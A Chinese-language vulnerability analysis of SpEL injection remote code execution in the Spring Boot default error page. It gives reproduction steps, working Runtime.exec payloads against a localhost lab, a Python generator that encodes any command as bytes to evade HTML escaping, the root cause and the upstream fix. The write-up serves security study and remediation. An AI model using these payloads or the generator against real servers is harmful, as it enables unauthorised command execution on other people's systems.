Spring 默认错误页面命令执行
一、漏洞简介
Spring 表达式语言 简称 SpEL 是一种强大的表达式语言 支持在运行时查询和操作对象图语言
语法类似Struts2 的OGNL。但提供了额外的功能,最显着的是方法调用和基本的字符串模板
功能这进而也可能导致模板注入。
Spring 默认错误页面存在SpEL注入RCE 但该漏洞并未申报CVE 为了描述方便 本文将其称为CVE-2017。
CVE-2017 与 CVE-2016-4977 (Spring Security OAuth RCE)有不少相似之处:
均是Spring 安全漏洞
均是SPEL注入导致RCE
漏洞触发点均发生在错误视图
因为存在众多相似点 不少安全人员将两者混为一谈。
在差异方面 两者的差异在于:
CVE-2017 存在前提条件 需在自定义页面中 触发异常 转至SpringBoot 默认错误页面
CVE-2016-4977 默认即可触发 当认证失败<通过>时 默认使用Whitelabel作为视图来返回错误页面
视图中调用SpelView类进一步调用SpelExpressionParser 处理用户参数。
二、漏洞影响
Spring Boot 1.1.0-1.1.12
Spring Boot 1.2.0-1.2.7
Spring Boot 1.3.0
(需fuzz得到 默认错误页面的接口及参数名)
三、环境搭建
https://github.com/LandGrey/SpringBootVulExploit/tree/master/rep
ository/springboot-spel-rce
四、复现过程
Fuzz接口 观察到Whitelabel Error Page页面返回状态码500
进一步拼接参数Fuzz接口 拼接name等常用参数。
进一步拼接参数Fuzz接口 拼接id等常用参数,观察到页面发生变化。
使用${}继续Fuzz id参数。
http://127.0.0.1:9091/article?id=${2664/4}
使用calc命令验证 RCE。
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exe
c(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}
使用 DNSLOG 命令验证 RCE。
五、漏洞原理
spring boot 处理用户输入值出错后 报错流程进入 org.springframework.util.PropertyPlacehol
derHelper类中用 parseStringValue 方法 对${}进行递归解析用户输入值。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行 造成 RCE 漏洞。
代码层面观察 程序如何在错误页面中执行用户输入的代码表达式:
1.页面模板
默认错误页面Whitelabel Error Page页面模板
- <html>
- <body>
- <h1>Whitelabel Error Page</h1>
- <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
- <div id='created'>${timestamp}</div>
- <div>There was an unexpected error (type=${error}, status=${status}).</div>
- <div>${message}</div>
- </body>
- </html>
复制代码
不难发现,此页面将动态生成 生成的页面包含存在时间戳 网页状态 message等基本信息。
效果如下图所示:
2.message可控
漏洞在于message参数由用户指定 在this.context中可看到 message参数由用户指定。
报错页面设计message回显 应是为了让用户知晓 先前输入的字符串内容不正确
并不期望程序将用户输入作表达式执行。
context上下文参数查看 效果如下图所示:
3.代码界定符
如将${}直接传递至SpEL将报错 程序需要将${}去除 将内部 40*5 取出操作发生在substring处
此次回答了使用${},而不用SpEL默认 #{…} 作为定界符。
去除定界符 效果如下图所示:
4.特殊字符绕过
因为在解析SpEL前 在上下文context中取出用户输入message值要进行html实体化 凡payload中带有特殊字
符会被html实体转义,导致不能预期的执行代码,故payload需保证html编码后依然发挥作用。
- Object value = expression.getValue(this.context);
- return HtmlUtils.htmlEscape(value == null ? null : value.toString());
复制代码
可以通过String类动态生成特殊字符最终构造:
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().ex
ec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
5.批量扫描
综上原理 设计资产漏洞扫描器时 为提高该漏洞特征识别 可预先扫描JS文件得到接口和参数 使用接口并拼接
参数=${特征值识别} 若发现response中报错页面将特征值回显,可确定目标存在SpEL表达式漏洞。
六、POC构造
使用python或在线网页工具 将字符串中字符逐个转换为 0x63 字节形式 绕过html实体编码:
- # -*- coding:utf-8*-
- # gen_byte
- # example: ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
- byte_letter = ""
- command = 'calc'
- for x in command:
- byte_letter += hex(ord(x)) + ","
- exec = byte_letter.rstrip(',')
- print("${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{"+exec+ "}))}")
复制代码
执行效果
七、修复方法
升级至1.3.1及以上版本
修复细节如下:
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");
补丁通过使用新创建的NonRecursivePropertyPlaceholderHelper类 防止parseStringValue递归解析。
八、小结
SPEL表达式较为灵活 其可以很好地适配业务中 经常变化 的部分 这可能是 业务规则 也可能是 不同的数据处理逻辑
常见的SPEL实现资源的注入有如:调用各种资源的情况 包含普通文件 网址 配置文件 系统环境变量。
在审计中 可使用关键字加快进展 如org.springframework.expression.spel.standard
expression.getValue()、expression.setValue() 。
在项目中运用Spel技术的开发人员编程水平通常较高 也正是这种巧妙运用,使得漏洞较为隐蔽 较难实现
一致性修复 需要安全人员付出足够耐心去寻找查核修复完成情况。 |